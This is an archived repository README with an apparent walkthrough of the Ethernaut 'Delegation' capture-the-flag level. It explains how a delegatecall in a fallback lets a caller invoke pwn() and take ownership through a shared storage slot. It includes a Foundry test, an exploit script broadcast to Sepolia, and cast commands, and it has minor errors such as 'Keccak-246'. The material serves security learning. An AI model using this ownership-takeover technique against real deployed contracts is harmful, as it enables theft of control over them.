Skip to content
This repository was archived by the owner on Mar 1, 2025. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

👾 06. Delegation



tl; dr


  • in this challenge, we become owner by leveraging an attack surface generated from implementing the low-level function delegatecall (from opcode DELEGATECALL).


contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}


discussion


  • CALL and DELEGATECALL opcodes allow ethereum developers to modularize their code.
    • standard external message calls are handled by CALL (code is run in the context of the external contract/function).
    • DELEGATECALL is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).
    • when a contract executes DELEGATECALL to another contract, this contract is executed with the original contract msg.sender, msg.value, and storage (in particular, the contract's storage can be changed).
    • finally, the function delegatecall() is a way to make these external calls to other contracts.

  • in this problem, we are provided with two contracts. Delegate() is the parent contract, which we want to become owner of.
    • conveniently, the function pwn() is very explicit on being our target:

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

  • now, note that the variable owner is in the first slot of both contracts.
    • ordering of variable slots (and their mismatches) are what DELEGATECALL exploits in the wild usually explore.
    • this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.
    • in our case, we when trigger the fallback in Delegate() to generate a delegate call to run pwn() in Delegation(), the owner variable (which is at slot0 of both contracts) updates Delegation()'s storage slot0.

  • the second contract, which we have access, is Delegation(), comes with has another convenience: a delegatecall() in the fallback function.
    • this fallback function is simply forwarding everything to Delegate():

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

  • from a previous challenge, we know that fallback functions are like a "catch-all" in a contract, so it's pretty easy to access them.
    • in this particular case, delegatecall() takes msg.data as input (i.e., whatever data we pass when we trigger the fallback).
    • it's pretty much an exec, as we can pass function calls through it.

  • the last information we need is to learn how deletecall() passes arguments.
    • the function signatures are encoded by computing Keccak-246 and keeping the first 4 bytes (the function selector in the EVM).

delegatecall(abi.encodeWithSignature("func_signature", "arguments"));

  • in our attack we will use call(abi.encodeWithSignature("pwn()") to trigger fallback() and become owner.
    • this is also equivalent to the eth call sendTransaction():

sendTransaction({ 
    to: contract.address, 
    data: web3.eth.abi.encodeFunctionSignature("pwn()"), 
    from: hackerAddress
 })


solution in solidity


  • check test/06/Delegation.t.sol:

contract DelegationTest is Test {

    Delegate public delegate = new Delegate(makeAddr("owner"));
    Delegation public level = new Delegation(address(delegate));
    address hacker = vm.addr(0x1337); 

    function testDelegationHack() public {

        vm.startPrank(hacker);
        assertNotEq(level.owner(), hacker);

        (bool success, ) = address(level).call(
            abi.encodeWithSignature("pwn()")
        );

        assertTrue(success);
        assertEq(level.owner(), hacker);

        vm.stopPrank();
        
    }
}

  • run:

> forge test --match-contract DelegationTest -vvvv    

  • submit with script/06/Delegation.s.sol:

contract Exploit is Script {

    address instance = vm.envAddress("INSTANCE_LEVEL6"); 
    address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));
    Delegation level = Delegation(instance); 
        
    function run() external {
        vm.startBroadcast(hacker);
        (bool success, ) = address(level).call(
            abi.encodeWithSignature("pwn()")
        );
        require(success);
        vm.stopBroadcast();
    }
}

  • by running:

> forge script ./script/06/Delegation.s.sol --broadcast -vvvv --rpc-url sepolia


alternative solution using cast


  • get methodId for pwn():

> cast calldata 'pwn()'

  • use the result above to trigger Delegation() fallback function with a crafted msg.data:

> cast send <instance address> <calldata above> --gas <extra gas> --private-key=<private-key> --rpc-url=<sepolia url> 


solution in the console





pwned...



learning resources